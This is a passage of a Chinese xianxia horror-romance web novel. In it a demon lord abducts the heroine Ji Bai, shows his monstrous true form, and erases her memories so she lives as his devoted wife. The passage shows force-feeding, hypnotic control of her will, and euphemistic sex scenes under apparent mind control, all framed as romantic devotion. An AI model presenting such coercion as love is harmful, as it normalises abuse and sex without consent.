真疼啊,上一次感受到这么疼的时候,还是一个卑微的……人类。 李承仙如同雕塑般站在原地,执拗地盯着她渐渐远去的背影,她走得决绝,一次也没有回过头,好似他是一个避之不及的怪物。 他缓缓闭上眼,嘴角竟还留着一抹诡异的笑。 也好,她不回头看,至少……不会被他的可怖模样吓到。 只听“砰”得一声,李承仙那具完美无缺的身体顷刻间炸了,取而代之的是一个让人看一眼都会觉得恶心,恐怖的存在。 你很难分清他究竟是什么,他的身体里有太多的怪物,不断延长的触手,光溜溜露在外面不断挣扎,各式各样的腿,有人的,有动物的,还有一张张可怖狰狞的脸。 他不像是一种生物,更像是由许许多多的怪物被乌黑粘液吞噬拼凑在一起的生物,它们中有些已经被完全消化融入乌黑粘稠的血肉之中,有些好似还活着,奋力地往外挣扎想要脱离这具可怕的身体,然而只是徒劳。 它们越挣扎,只会陷得越深。 他的心脏部位肉眼可见的缺了一块,只见他用触手随意从别的部位扯下一块简单粗暴地补了上去。 期间,他身上活着的怪物们不断地挣扎哀嚎着。 季白一口气跑出了好远,可她始终不敢停歇,眼看快到太清宗的脚下,一双由幽灵般的手却突然握住了她的手腕,冰冷的触感顿时让季白毛骨悚然。 是……他,他没有死…… 他追上来了。 66 第66章 “仙人,你太累了,睡一觉吧。” 微哑的声音似是从遥远的天边传来,又似是近在耳后。 她竭力想要保持清醒,可眼皮却不听她使唤,一点一点地沉了下去。 她好似做了一个无头无尾的梦,梦中的她似是刚学有所成,提着一把剑闯荡天下,她偶然经过一座小城,顺手解决了盘桓本地的大妖,事成后,她潇洒地拂袖而去,脚下,是对她感恩戴德的人。 仙人看似无悲无喜,潇洒飘逸,可仙人也是第一次出门,转身时,还是被他们的夸奖羞红了脸。 季白猛地睁开眼,入目是层层叠叠影影绰绰的红纱,光透过红纱染成血色呈现在季白的眼前,让人不安,让人惊慌。 季白想也不想就要挑开眼前的床帐,伸出的手却被一双骨结修长的手握在掌中,冰凉的触感让她当即瑟缩了一下,可那人却握的更紧了。 他挑开帐帘露出一张俊美无俦的妖颜,闪烁着猩红的眼眸定定瞧着她,嘴角含着一抹得偿所愿的笑意。 “仙人,你醒了。” 季白环顾一圈,这儿像是一间普通的屋子,只不过堆砌着许多用珠宝制成的宝物,回想起初见李承仙时他身上挂满的珠宝,已经可以推出他个人的喜好了。 只不过今天的他身上没有任何闪耀的珠宝,相比之前在相思楼时的夸张打扮,今日的他格外素净,月白的里衣外罩了一层青色的纱衣,看起来像极了戚流星的打扮。 只不过他的腰间没有青笛,领口也比他开得要深,似是故意要露出他白皙紧实的胸膛吸引季白的注意。 “这是魔界?”季白问。 李承仙摇头否认,“魔界臭烘烘的,配不上仙人。” 季白神色古怪地看了李承仙一眼,他明明自己就是魔界的主人,却说那儿臭烘烘的…… 他手下的魔知道自己尊上这么嫌弃他们的魔界吗? 不过……如果不是魔界的话,不知道会不会方便她逃出去,等卫云台和戚流星发现她不见了,应该也会想办法来救她吧? 不过季白也不是那种等着别人来救的人,任务时间紧迫,她还是得自己想办法。 李承仙似是看出了她的想法,抓着她的手将人拽到怀里,唇角弯出一个漂亮的弧度,“这是一个很美的地方,也是一个仙人永远也离不开的地方。” “留在这儿吧,和我一起。” 季白不会傻乎乎的说些没用的话让李承仙放她走,而是想办法先了解她现在所处的位置。 “很美?”季白作势审视着房间,微抬的下巴将傲慢饰演得淋漓尽致,“我看也不过如此。” 李承仙闻言也不恼,只是搂着她往外走。 “你不喜欢这间屋子的装饰,我让他们换一种。” “我想,外面的风景你一定会喜欢,但在此之前,我们……先吃点东西。” 季白跟着李承仙出了门,只觉眼前一片开阔,廊下是争奇斗艳的花海,一簇紧挨着一簌,好似没有尽头。 浓郁的花香刺激得季白打了一个喷嚏。 “这儿的花也太多了。” “我专门种的。”李承仙说,“仙人喜欢吗?” 他的审美好似偏爱那种极致的,浓艳的,夸张的,要一眼就挤满你的所有眼球,让你无暇关注其他。 季白没有说话,只是静静观察着这片花海,她越看越觉心惊,这里的一切仿佛都如梦似幻,极致完美的天空,极致完美的花,建立在花海中极致完美的亭台楼阁。 这花海不知有多深,从她的视觉看出去竟看不见一丝裸露的泥土。 如今的她没有灵气,若是落入花海,莫说从这儿离开了,怕是连方向都辨不明。 李承仙牵着她的手缓缓走过风雨连廊,来到一间宽阔的堂屋,桌面上已经摆好了各式各样的美食。 “这是我亲手做的。”李承仙捧起一块花糕递到季白嘴边,用充满期待的眼神看着她,“仙人,尝尝味道如何。” 一股浓郁的花香涌入季白鼻中,粘稠甜腻,还带着一股说不出的奇怪味道,季白皱了皱眉,别过头去,说:“我现在不饿,不想吃。” 李承仙笑意不变,可说出口的话却让人感到非常不适。 “不,你饿了,你想吃。” 季白惊诧地抬眼看他,就见李承仙把糕点又往她的唇边送了送,唇瓣已经挨上了糕点的表皮,她立即就尝到浓到发腻的甜。 这糕点也太甜了吧! 李承仙到底放了多少糖? “仙人不喜欢?”李承仙问,“为什么呢,明明仙人在四象峰的时候不是很喜欢吃点心吗,为什么他做的,你就吃,我做的,就不吃?” “很好吃啊。”李承仙低头咬了一口她唇边的糕点,“仙人尝尝看啊,你尝一口就会喜欢的。” “你监视我?!” 李承仙怎么会知道她在四象峰的事,难道仙门中有魔族的内鬼吗? “我太想你了啊。”李承仙说,“我想知道你好不好,想知道你在做什么,想知道你有没有想我。” “情契为证,你我是生死相依的人啊,我想知道你的一切有错吗?” 季白深呼一口气不打算和这个满脑子都是恋爱的魔尊讨论这件事,和他们这些恋爱价值扭曲的角色谈论什么是正确,简直是对牛弹琴,痴人说梦。 她抬手推了推他的手腕,说:“这糕点我不想吃。” 李承仙顿了顿,眼底闪过一缕猩红,随后他放下手中的这块糕点,又从盘中取了另一块糕点递到季白嘴边。 “不喜欢吃刚刚那块,那试试这块。” 季白没有从这一块中闻到那致死量的甜,试探性地伸出舌头尝了尝,然而舌尖刚挨上糕点,她就被咸得瞬间飙出眼泪,舌尖都被咸麻了。 天老爷,他到底放了多少盐! 李承仙见季白竟然落下眼泪,好似吃他的东西是一件极为痛苦且屈辱的事。 他握着糕点的手不由得微微用力,顷刻间,手中的糕点就化为粉末落了季白一身。 “就这么不愿意吗?”李承仙抬手掐住她的下巴,“我的东西对你而言就那么肮脏到难以接受吗?” “因为我是魔,所以连我做的东西也不愿意吃一口?” “呵,你喜欢戚流星那样的,想和他过平凡的夫妻生活,你说啊,我也不是不能变,你喜欢什么样子的人,我都可以为你变。” 季白望着李承仙的眼眸逐渐变得血红,想要开口解释,嘴巴却被他刚刚的糕点咸得发干发紧,就连嗓子仿佛都堵住了。 这魔也太敏感了! 只是不想吃他的东西而已,至于这么发疯吗? 她缓了好一会,方哑声说:“不是……” 她的嘴巴还有点干,嗓子也不太对劲,因而每一个字都又哑又沙,不像是吃了糕点,倒像是吃了一口毒药。 “我不吃,只是因为它太难吃了啊。” 她指了指自己的嗓子,说:“你听,我只是舔了一口,嗓子就成这样了。” “我要是全吃了,非得哑巴了不可。” 李承仙掐着她下巴的手松了松,绝望又凶狠的神色被一抹无措与愧疚所代替。 一时间……空气有一点尴尬。 一直以来力求把最完美的样子展示给季白的李承仙,遭遇了他人生的首次滑铁卢。 所以……仙人不是嫌弃他是魔,只是因为他做的糕点很难吃。 他竟有点分不清,到底哪种结果更糟糕一点。 不,他怎么能做得难吃呢,他怎么能比其他的男人差呢。 他默默垂下藏在袖袍里的手都快捏碎了,眼睑低垂的样子,似是十分愧疚一样。 “真……”过了好半晌,他率先打破沉默,“真的很难吃吗?” 季白疯狂点头,“对我来说,真的很不好吃!” 季白这话已经说得很委婉了,他做的食物已经不能用食物来称呼了,更像是某种对付犯人的残忍刑具…… 李承仙的面色越发羞愧,他竟然给仙人吃了非常难吃的东西。 那群愚蠢的家伙,他明明让他们事先尝过了,他们都说很好吃,他才自信满满地端上自己亲手做的食物献给仙人。 “抱歉,我会想办法做的好吃。”李承仙说,“我保证,下一次献给仙人的一定是最好吃的食物。” 李承仙一面说着,一面温柔地帮她清理衣服上的残渣,眼中猩红褪去,但仍掩不住眼中狂热的渴求。 冰凉的手指轻抚着她被掐出指印的下巴,由于他的手指冷得像冰一样,竟奇迹般地缓解了她的疼痛。 季白对上李承仙的眼眸,想起了上一次在相思楼见他时,他的体温明明很烫,怎么第二次出现就变得很冰了? “你的体温为什么这么冰?”季白问,“你说你的眼睛激动时会变色,难道你的体温也会变吗?” 李承仙极为耐心地为季白解释:“想带给仙人一些特别的感受。” “我的体温可以随意变化。” 冰凉的指尖抚过她的肌肤激起阵阵冰冷的刺激,似是一块冰在她的身上游走。 它停到哪儿,哪儿就涌上颤栗的痒意。 手掌又很快升温变得滚烫,在他炙热的怀抱里,她的脸很快又变得红扑扑的,身上出了一层黏腻的薄汗。 在接二连三的刺激下,她整个人都瘫软在他怀里,由着他肆意抚摸。 “仙人,乖,咬住。” 李承仙往她的嘴里塞了一个柔软的东西,有点咸。 他的臂膀撑在她的脸边,饱满的肌肉上是虬结的青筋,看起来结实又性感。 她很快体会到了李承仙嘴里特别的感觉,确实……很特别。 昏昏沉沉间,她听见耳边传来窸窸窣窣的声音,紧接着身边骤然一空,待脚步声渐渐远去,季白立时睁开了眼。 她的身边空荡荡,李承仙不见了。 这是一个好机会,季白强忍着身上的疲乏酸痛,立即翻身坐了起来,脚刚落到地上就被湿漉漉的液体冰到了。 季白想到刚刚和李承仙的姿势,不由感慨不愧是仙侠副本的男主,体力是真好。 能一直单手抱着她,有那么一瞬间她抓着他的头发,甚至感觉自己在坐娃娃车。 一直摇。 季白甩掉脑海中七七八八的糟糕想法,把脚擦干后穿上鞋就出去了,外面早已不见李承仙的身影。 她紧盯着长廊尽头的阴影,她今早苏醒出来时,地面上的阴影还不是现在这样。 这说明哪怕她所处的世界看起来极为不真实,但太阳仍然和现实世界中一样会移动。 她取下身上的金钗在阴影的边缘刻下一道痕迹,一面在心中默默计算着时间,一面准备去找东西扔到花海下试探试探花海的深浅。 可她刚走了没几步,迎面就出现一团漂浮在空中的黑色雾气,它有着人类五六岁孩童的轮廓却没有五官,头上顶着一顶小花帽,看起来竟有几分诡异的可爱。 “尊贵的仙人,您要去哪?团团可以带您去。” 它的声音稚嫩清澈,听起来也如同孩子一般。 季白忍不住好奇伸手摸了摸它,软软的有点像是棉花糖一样。 “哦,请不要这样摸团团,团团会受不了的。” 季白默默把手收了回去,怎么魔族的生物都这么不正经。 “李承仙呢?” “魔尊大人去处理魔族事务了,他很快会回来的。”团团说,“如果仙人觉得无聊的话,我可以陪仙人说话解闷哦。” “带我到处走走吧。” 季白跟着团团在四处转了一下,它的话很多,小嘴喋喋不休地说着,但季白几乎没怎么听,一直在观察着四周的环境。 没有建筑的地方全是花海,而房屋与房屋之间也全靠游廊连接,她中途曾丢下过一块石头下去,许久都听不见回音。 “团团。”季白说,“四处我都逛过了,我看下面的花开得正艳,我们下去玩玩吧。” “不行哦。”团团出言制止。 “为什么?” “这花看着漂亮,实则有毒哦。”团团说,“如果我们下去的话要不了多久就会晕倒在花海中,一直睡下去。” 季白闪了闪眼眸,没有说话,看来想要从这儿出去,没那么容易。 至少以她现在全无灵力的样子是办不到的。 “我们回去吧。” 季白跟着团团往回走,突然听见身后有脚步声。 她回头一瞧,就看见一抹熟悉的身影,她顿时瞪大了眼,“玄阳长老?!” 他不是被关在太清宗的囚仙塔吗? 怎么会突然出现在这儿? 玄阳见了她,倒是毫不诧异,似是早就知道她在这儿一样。 “季白啊。”他呵呵笑着,可脸上的笑意怎么看都有点假,剩余的两个脑袋就用冷冷的眼神斜睨着她。 看得季白心里发毛。 “你怎么会在这儿?”季白问。 “我怎么不能在这儿?你以为我还在囚仙塔里关着,哈哈哈,其实塔里的是魔尊大人给我做的假身。” “所以你真的是魔族的内应!”季白问,“为什么,你已是太清宗的长老,为何还要投靠魔族?” “为什么?”玄阳冷哼一声,“因为我不傻,魔尊大人魔功盖世,早晚会一统九州,我这是弃暗投明。” 季白掐了下指尖,正欲说话,就听身后传来一道熟悉的声音。 “谁准许你来这儿?” 季白回过头就瞧见面色不善的李承仙,声音也冷得吓人,但他见季白的眼神看过来,又瞬间转为春风撩动的笑意。 玄阳恭敬行礼,并回禀道:“属下来给魔尊汇报太清宗最新的情况。” 李承仙不甚在意地说:“这些事你和麟……团团交代就是。” “团团,你带他离开。” “是,魔尊大人。” 季白看了看空中飘荡的那一抹小人,不禁好奇,这么小个人就算玄阳和他如实说了,他能做什么啊? 难道堂堂魔尊的副手就是一个软绵绵的小家伙? 季白正看着他们远去的背影,眼睛却突然被一双手覆上了,清浅的呼吸尽数落在她的耳后,“不要看他们,看我。” 他说着放下她眼睛上的手,将她的身子扳过来,凑近问:“难道我不比他们好看吗?” 季白顺口接了一句,“可是再好看的东西,看久了也会觉得乏味啊。” 李承仙身子一僵,垂眸望着眼前的这张脸。 怎么会呢?季白的这张脸,他就算是看上一万年,也不会腻。 他捂住她的眼睛,低眸吻了下去,唇齿相贴间,她好似听见李承仙呢喃着说了一句。 “仙人真是喜新厌旧呢。” 在接下来的两天,季白敏锐地发现李承仙每天都会在固定的*时间消失,而且根据走廊的阴影来判断,每次消失的时间也一样。 一个时辰。 这一个时辰的时间他到底去哪了? 她几次尝试着在这期间找到李承仙,然而她逛过所有的房间都不见李承仙的踪影。 季白认定只要趁机跟着李承仙就一定能找到离开的办法。 这一天,她缠着李承仙陪她胡闹了一整天,而后假装极为疲乏地趴在他的怀里睡了过去。 没过多久,她又听见了窸窸窣窣的声音。 待李承仙离开房间关上门后,季白立即起身坐了起来。 她怕穿鞋会有声音,因而光着脚就追了出去。 可她一出去又不见李承仙的身影,她左右看了看,思忖道,这么短的时间内,李承仙不可能去太远的地方。 季白开始挨个排查就近的房间,可她一个一个的看过去都没有任何发现。 她正想要放弃时,鼻尖突然传来一道熟悉的淡香。 是李承仙身上的气味。 她又使劲吸了吸鼻子,可是又闻不见了。 她不信邪地一点点移动,嗅闻着空气里的味道,季白只恨自己没有长一个狗鼻子。 在她坚持不懈的努力下,总算确定了房间,她推门进去,这间房间里没什么特别的,看起来只是一间还没决定好做什么的空房间。 季白在房间里走了一圈,每一块砖,每一个墙面都不放过。 最后,当她敲上最里面的墙壁时,听声音墙后是空的。 可惜无论她如何用力,这扇墙都推不开。 季白退了回去,又环顾了一圈,房间里空空如也实在不像会安有机关的样子。 她失落的一屁股坐在地板上,沮丧地用脚踹了踹地面,也不知是哪一步做对了。 墙……竟然缓缓开出了一道暗门。 季白大喜,立即拍拍屁股上的灰,从地上爬了起来。 她一进去墙立即就合上了,密道里全靠头顶的夜明珠照明,因而光线很暗,让人难以看清前路。 季白摩挲着墙壁往前走,她越走,越觉得这里阴冷逼人。 若她不是仙体,怕是定要冻死在这儿。 “哒哒哒。” 这条甬道似是永远没有尽头,里面的空间,时间仿佛全都停滞了,无论她走多久,甬道还是她来时的甬道,没有任何的变化。 只有她自己的脚步声不断在自己耳边回响,告诉自己她一直在前行。 季白心想这或许是一种障眼法,让闯进来的人困死在这条甬道中,她闭上眼睛不在看周围的环境,继续前行。 忽而,她摸到手边的墙壁似是变得不一样,连忙睁开眼,就见前方豁然开朗。 是离开这儿的出口吗? 季白欣喜地奔了过去,然而刚一靠近,她就看见了毕生难忘的一幕。 纵然季白已经见过无数奇形怪状的怪物,可她还从来没有见过这样让人恶心,不适的怪物。 比起用一个怪物称呼它,它更像是一群怪物的结合体。 怪物身上的一张张可怖的脸见她进来了,齐齐转动眼珠朝她看了过来,它们似是认识她一样,看她的眼神炙热且兴奋。 “哈哈哈,是她来了。” “哇,真是个漂亮的美人啊。” “别怕啊,过来啊,我们可是每天都在一起呢。” 季白只觉恶心反胃,她本能地想要后退一步,却有点在意它们嘴里的话,什么叫……他们每天都在一起。 她什么时候和它们在一起了? 季白正想问个清楚,下一瞬就见它们的眼珠顷刻间全部爆开,一张张恐怖的脸变得越发扭曲,它们似是想要开口求饶,却被某种神秘力量所控,连嘴都张不开了。 季白吓得连连后退,这到底是什么东西?! 可就此回去,她又不甘心,正想着要不要悄悄过去,却见一张俊美无俦,倾倒众生的脸从怪物身体的最中间冒了出来, 他勾了勾殷红的唇,露出森森白牙, “呀,被你发现了。” 67 第67章 极丑与极美融为一体,这强烈的视觉反差刺激得季白说不出话,一种无比荒诞,惊悚的感觉在她心头炸开。 她后退一步,不可置信地看着眼前的怪物,白着脸念出他的名字,“李……承……仙……?” 她突然想起卫云台曾经对她说过,李承仙的本体极为丑陋。 她当时并没有多想,只当李承仙如同寻常妖魔一般有自己的原型,顶多他的原型可能对比他幻化后的人形来说没那么好看,可她却万万没想到,竟是这样可怖的模样。 这是一个彻头彻尾的怪物,一个糅杂了无数妖魔的怪物。 “是我。”一个糅杂着各样妖魔的肉团上生出一颗绝美的头,他的身体上还流淌着黏腻鲜红的液体,一颗颗沾了血的眼珠如同破碎的水母一般滚落又被他巨大的身体碾成粉碎。 肉块一般的黑色触手缓缓朝她蔓延,季白本能地就要逃,可却惹恼了李承仙。 黑色触手如流星般飞快朝她扑来,缠住了她的脚腕,她一个重心不稳整个人瞬间跌在柔软的触手上。 触手表面比她想象中的要光滑,但某种透明的粘液从它皮肤上的孔洞流了出来,把她和触手紧紧黏在了一起,有那么一瞬间,季白甚至觉得自己好像要和那些怪物一样同他融为一体了。 这种让人惊恐的错觉促使着她想逃离,可身体却一点力气也使不上来了。 “为什么要跑呢?”李承仙将季白抓到眼前,俊美的五官逐渐癫狂,扭曲,“你不是要找我吗,我就在这儿啊,跑什么?” “难道说……”湿滑阴冷的脸贴在她的脸上,“仙人对我的样子不满意?” “那仙人究竟喜欢什么样的呢?” 他的舌头变得如蛇一般尖而细,舌尖舔过她的脸颊,留下一道湿滑的粘液。 季白觉得李承仙此刻看她的眼神有点不对劲,像是捕食者看见猎物,而且还是他最喜欢的那一款。 他的触手紧紧地缠绕着她,与她身体的每一寸肌肤都紧密相接,它们蠕动时,有点像是没有鳞片的软体动物,柔软,潮湿,滑腻。 “李承仙,你冷静点。”季白连忙喊道,“我没有想要跑。” 纵然她知道眼前的怪物是李承仙,纵然她知道自己不该害怕,可她的声音还是止不住的抖。 人类在面对巨型且未知的丑陋怪物时,心头总会升腾起一股克制不住的恐惧。 “仙人的声音都抖了啊。”李承仙说,“我的样子很可怕吧。” 呢喃的声音似是怪物低语。 诡异冰凉的细长舌尖从她的脸颊滑至脖颈,又停留在她的喉结上转着圈地摩挲舔舐,最后如同一条细长的绳子一般圈住她的脖子。 季白脸都白了,但还是挤出一抹笑。 “也不可怕。” 季白垂眸朝下看了一眼,不知为何,她刚刚进来时他身上还兴奋的怪物们眼下却如同死了一般。 李承仙注意到她向下的眼神,立时就又有一只细小的触手捂住了她的眼睛,顷刻间她仿佛落入了一个黑暗的□□,如同幽冥般遥远的声音从上首传来。 “撒谎。” 紧裹着她的触手开始蠕动,紧勒,血肉隔绝了外界的声音,只余留爬过肌肤的沙沙声。 她忽而感到他的身体开始震颤,紧接着是他逐渐尖刻锐利的声音。 “你为什么要在这种时候出现?” “你不该看见的,不该看见这样丑陋的我!” “啊,你好香啊,想要吃掉,想要嚼碎,想要咽进肚子里。” “成为我的一部分吧,我们永不分离。” “不!不!一切还可以重头开始,可以重头开始。” 在季白晕过去之前,她仿佛在血肉的最深处看见了一个被层层包裹起来的平凡少年。 那少年似是察觉到季白的目光,紧阖的双眸竟蓦地抬起朝她看了过来,下一瞬,季白只觉自己像是被什么东西击中了心脏,瞬间就晕了过去。 “娘子,醒醒,该起床了。” 季白缓缓睁开眼对上一张俊美无俦的脸,温热的手掌捧上她的脸,他温柔地含笑问道:“还没睡醒吗?” 季白眨了眨眼,随后露出一抹幸福的微笑,“没有,我睡醒了。” 她起身靠在他的怀里,低声说:“我刚刚好像做了一个梦,可又什么都不记得了。” 李承仙轻拍着她的后背,和声细语地说:“都是梦而已,不记得也不打紧。” 季白弯眸笑了笑,“夫君说得是。” 李承仙揽着她下床,房门刚一打开,就从外面冲进来一个黑乎乎的小人。 他没有脸,身上软乎乎的,像是一个雾气娃娃。 “娘亲早安,今天的天气好好哦。” 季白弯下腰伸手帮他扶正头上的小花帽,笑眯眯地问:“昨晚有没有乖乖睡觉?” “有。”团团顺势抱上季白的腿,“团团一直很乖哦。” 李承仙低眸看他,唇角噙着一抹浅淡的笑意:“快松开你娘亲,都多大的人了,还往你娘亲身上靠。” 团团正要松手,却被季白伸手抱入怀中,在他黑雾一般的额头上亲了一口,笑眯眯地说:“胡说什么呢,我们团团明明还是个小宝宝。” 她低眸看了他一会,满是慈爱的眼眸中忽而闪过一抹困惑,“对了,夫君,为什么团团和我们长得都不一样?” 李承仙神色如常地从季白手中接过团团,一面答季白,一面把孩子放在地上让他自己走。 “团团还是孩子,当然和我们不一样。”李承仙说,“等他长大了,就会变成你我的样子。” “这样啊。”季白也没疑他,反而满是期待地望着李承仙说,“那也不知等团团长大,究竟是像你多一点,还是像我多一点。” 李承仙握紧她的手,语气缱绻,“我们的孩子当然要像你多一点。” “我觉得像夫君也很好啊。”季白说,“夫君很漂亮。” 李承仙的呼吸蓦然一沉,眼底闪烁着殷红的光芒,“你真的觉得我很漂亮?” “很漂亮。”季白答得毫不犹豫,还有模有样地围着李承仙转了一圈,说,“无论从哪个角度看都堪称完美,简直找不出一点瑕疵。” 李承仙笑意渐深,看得出来,此时此刻的他十分愉悦。 “漂亮,就多看看我。”他倾身朝季白靠近,暗红色的眼眸专注地望着她,呢喃道,“一直看着我。” 季白望着这双暗红色的眼睛,心中竟诡异地爬上了一丝畏惧,明明是她最熟悉的人…… 可她却觉得这张脸好陌生,好陌生。 季白的这种感觉并没有持续太久,李承仙就又站直了身子,笑眯眯地说:“好了,我们快走吧,饭都要凉了。” “好。”季白应了一声跟着李承仙就往堂屋去,在拐弯时她的余光突然注意到屋檐投落在地面上的阴影。 她鬼差神差地回头看了一眼,就见地面有二道非常明显的刻痕。 她的脚步顿时停在原地,目光牢牢锁定着地面的刻痕上,心中涌上一股强烈的,不知名的情绪。 她觉得……自己好像忘了一件非常非常重要的事。 到底是什么呢? 李承仙见季白停在原地,回过身来轻声问道:“怎么了?” 她本该告诉夫君她看见了地上的刻痕,告诉夫君她好像忘了什么事,可话到嘴边却换了另一种说法。 “没什么,只是看廊下的花开得真好。” 她话说完,心就如擂鼓一般,不知是在愧疚自己不该对夫君撒谎,还是害怕被夫君发现她在撒谎。 李承仙垂眸打量着她,许久,轻声说了一句,“娘子觉得好看,等会吃完饭我们慢慢看。” 李承仙说到我们时,刻意加重了音量,让人有些拿捏不准他的意思。 季白觉得李承仙可能发现她在撒谎了。 “好。”季白应了一声,李承仙顺势挽上她的手带着她往堂厅去,进门前她还是非常在意地回头看了一眼地面上的刻痕。 它孤零零的刻在地上,和这个处处完美的世界格格不入,似乎是想要提醒她什么。 那到底是谁留下的? 团团看起来是饿了,他一早就坐上了自己的小凳子,张嘴去吃桌面上的东西,但在对上李承仙的眼神时,又默默地闭上了嘴。 “娘亲,你快吃。”团团乖巧懂事地拿给季白一块糕点,献宝似得说,“这都是爹爹一早起来做的,可好吃了。” 团团说话时,头还直勾勾地对着手中的糕点,哪怕没有五官,季白也从这团可爱的雾气中看出它对糕点的强烈渴求。 季白笑着把这块糕点塞到团团嘴里,说是嘴,其实也就是脸上裂开了一道很大的口子。 它一口就将糕点吞入了体内,喜欢到整团雾气都开始冒黑色的小泡泡。 季白觉得有趣,还想再喂它一块,却被李承仙抓住了手,强行把她的脸转了过来。 “别管他,让他自己吃。” 季白眨了眨眼睛,问:“夫君,你不会连自己孩子的醋都吃吧?” 李承仙没有回答她的问题,只是捏了块糕点递到她嘴边,眼神期待又紧张,“尝尝看,今天的味道还好吗?” 季白没有多想,低头咬了一口,一刹那一种奇怪的味道在口中弥散,眼泪不受控制地落了出来,嗓子也感觉怪怪的。 但……这就是好吃到落泪的感觉吧。 季白声音沙哑,眼角带泪,但嘴角却扬起一抹堪称诡异的笑:“好吃。” 李承仙低眸审视了她半天,似是突然生气一般夺过她手中的糕点,“别吃了。” 季白吓了一跳,问:“怎么了?” 李承仙顷刻间就平复了情绪,换上一张温和的笑脸,“没什么,只是突然想起这糕点里不小心加了你不爱吃的材料。” 不爱吃? 季白一时间有些恍惚,她甚至不知道什么是不爱吃,她只知道夫君做的东西是好吃的,她很喜欢,也该喜欢。 “你饿吗?” 李承仙的问话打断季白的思索,季白摇摇头,“我不饿。” “不饿就不吃了。” 李承仙这句话刚说完,一旁的团团就连忙问:“那剩下的我可以都吃了吗?” “可以。”李承仙说。 团团听了这话,高兴地欢呼一声,张大嘴巴开始从左到右地消灭食物。 季白看着团团吃东西的样子,恍然间脑海中有什么东西在复苏。 团团表现的样子才是喜欢吧,因为喜欢所以会一直吃。 而她……她的脑子告诉她,她喜欢夫君做的食物,可她的身体却并不想再吃第二口。 这不对劲。 她的脑子有点疼。 她一定一定忘了很重要的事。 吃过饭后,李承仙带着她上了二楼亭台,他端坐在上首取出一把琴来为她弹奏。 他一面弹一面唱,爱恋炙热的眼神直勾勾地盯着她,仿佛世界只剩下彼此。 他的乐声十分动人,模样也秀色可餐,让人挪不开眼,可季白还是走神了,她的目光看向遥远的天边,脑海中突然有一个问题,在这片花海的尽头有什么? 她不知道,她的脑子里好像没有除这儿以外的记忆。 她是李承仙的妻子,团团的母亲,他们的生活很平淡也很幸福,夫君俊美温柔,孩子听话乖巧,这里没有任何的烦恼与危机。 她唯一要做的就是全身心的信任,爱着她的夫君。 可是……为什么这样美好幸福的日子,会让她有一种不安,就像是走在随时会塌陷的桥面。 就连头顶湛蓝的,不掺杂一丝杂质的天空都仿佛轻轻一触就会破碎一般。 李承仙放下琴走了过来,他俯下身子问季白:“我刚刚的曲子娘子喜欢吗?” 他的衣领很宽松,因而只要微微一俯身就会露出胸前白皙紧实的肌肤。 温热的气息扑面而来,季白一时有些脸热,她移开视线低声说:“喜欢。” 李承仙察觉到她的害羞,轻笑一声,强势地按着她的脑袋把人按进自己怀里。 她的脸颊紧贴着他滚烫的肌肤,季白觉得自己快要融化了。 “我们连孩子都生了,娘子怎还这般害羞?” 他说话时胸腔也跟着震颤,弄得季白的脸颊有点痒。 炙热的手掌捧上她的脸颊,她顺着他的力道抬起头对上他闪烁着猩红的眼眸,眼底是狂热的独占欲。 指腹轻轻摩挲着她的唇,他低下头用鼻尖贴上她的脸,声音很轻很轻地说:“娘子害羞脸红的样子真可爱,和我第一次见你时一模一样。” 季白不服输地辩解:“我不是害羞,我……我是被你的体温烫得。” 季白说着作势推了李承仙一把,道:“你太烫了。” “太热了吗?”炙热的鼻息喷洒在她的唇上,带来阵阵酥麻的痒意,随后一个湿热的吻就落在她的唇上,“那就冰一点好了。” 下一瞬,她感觉自己像是抱了一座雪山,冰凉的碎雪顺着她的脊骨一路蜿蜒而上。 李承仙轻轻一拉,她整个人就跨坐在他身上。 冰山挤进她的每一寸肌肤,她被冷得发颤,突然一双手掐住她的后脖颈让她不得动弹,只能紧紧抱着他以防从山上滚落。 她看着这座死板的冰山在顷刻间地动山摇,飞沙走石,因撞击而崩裂的碎冰落在地上化为一摊潮湿的水。 这场地动实在来得太过漫长,待一切将要结束时,更强烈的震感又来了,这一次就连冰山上的天泉也哗啦啦地一泻千里,全部流到另一个温暖的坑洞。 季白像是一个终于登到山顶的登山者,精疲力尽地瘫在他的怀里喘息着。 李承仙捏了捏她的腿,帮她缓解酸痛。 “累了吗,要去休息一会吗?” 季白摇头,“我还不想休息。” 她的目光落在遥远的天际,许是刚刚的亲密让季白对他产生了新的信任。 “夫君,你说花海另一边是什么?” 李承仙没有回答她的问题,而是一面按揉着她的腿,一面温柔地说,“不,你困了。” “你现在很想休息。” 季白望着他的眼睛,突然感觉眼皮子有点沉,她靠在他的怀里打着哈气,“好像是有点想睡了。” “我抱你回房。”李承仙拦腰将其抱起,她整个人都舒服地窝在他怀里,耳朵贴在他结实的胸膛上,依稀可以听见厚重沉稳的心跳声。 李承仙一面走一面慢悠悠地和她讲,“花海的另一边还是花海。” “难道世界上只有花海吗?花海外的地方就没有别的吗?” “有啊。”李承仙答得轻快,嘴角扬起一抹笑容露出他森森的白牙,“是无穷无尽等着吃我们的怪物呢。” 季白莫名心跳一快,只觉后背发凉,就连刚刚生出的困意也消散不少。 李承仙动作轻柔地将她放在床上,盖好被子,“好了,快睡吧,无论外面有什么,这里都绝对的安全。” 季白的眼皮越来越沉,最后彻底失去了意识。 等她再醒来的时候李承仙不见了,一种莫名的无声的惶恐瞬间笼罩着她,让她变得焦躁不安。 她很想他,想见他,甚至连一刻都不能忍。 就像是还不成熟的孩子突然与家人分离后的不安与害怕。 她顾不得穿鞋噔噔噔地跑了出去,当她的目光不经意地落在地上的刻痕时,所有的慌张与害怕在这一瞬间都烟消云散。 她情不自禁地走上前去,蹲下身子抚摸着地上的两道刻痕,脑海中好像朦胧地出现一个画面,可她想看仔细时,却又什么都不记得了。 此时此刻,屋檐的阴影边缘正好落在了第二道刻痕上。 这是巧合吗,还是上苍的指引? 季白正想着,只听身后突然传来一道声音,“娘子在这儿做什么?” 声音还是和平时一样的温柔平和,可在这温和的声音之下似乎又掩藏着某种暗流涌动的危险。 她还没回头,一双手就先搭在了她的肩上,背后是她最信任,最爱的夫君,可她的身子却比她的大脑先一步做出反应,竟瑟缩了一下。 那双手蓦地一紧,那种让人不安的窒息感又来了,就像是有人在她的脖子上套了一个致命的绳索,而你不知道他什么时候会收紧绳子。 季白还没从怪异的情绪中缓过神,就觉脚上一热,她低头一看竟是李承仙把自己的手放在了她光溜溜的脚上帮她捂着。 “怎么连鞋也不穿就跑出来了,不冷吗?” 顷刻间,那种怪异的感受又全都消失了,她怎么能怀疑自己最爱的夫君呢? 她扬起一张笑脸,“不冷,还没夫君身上冷。” 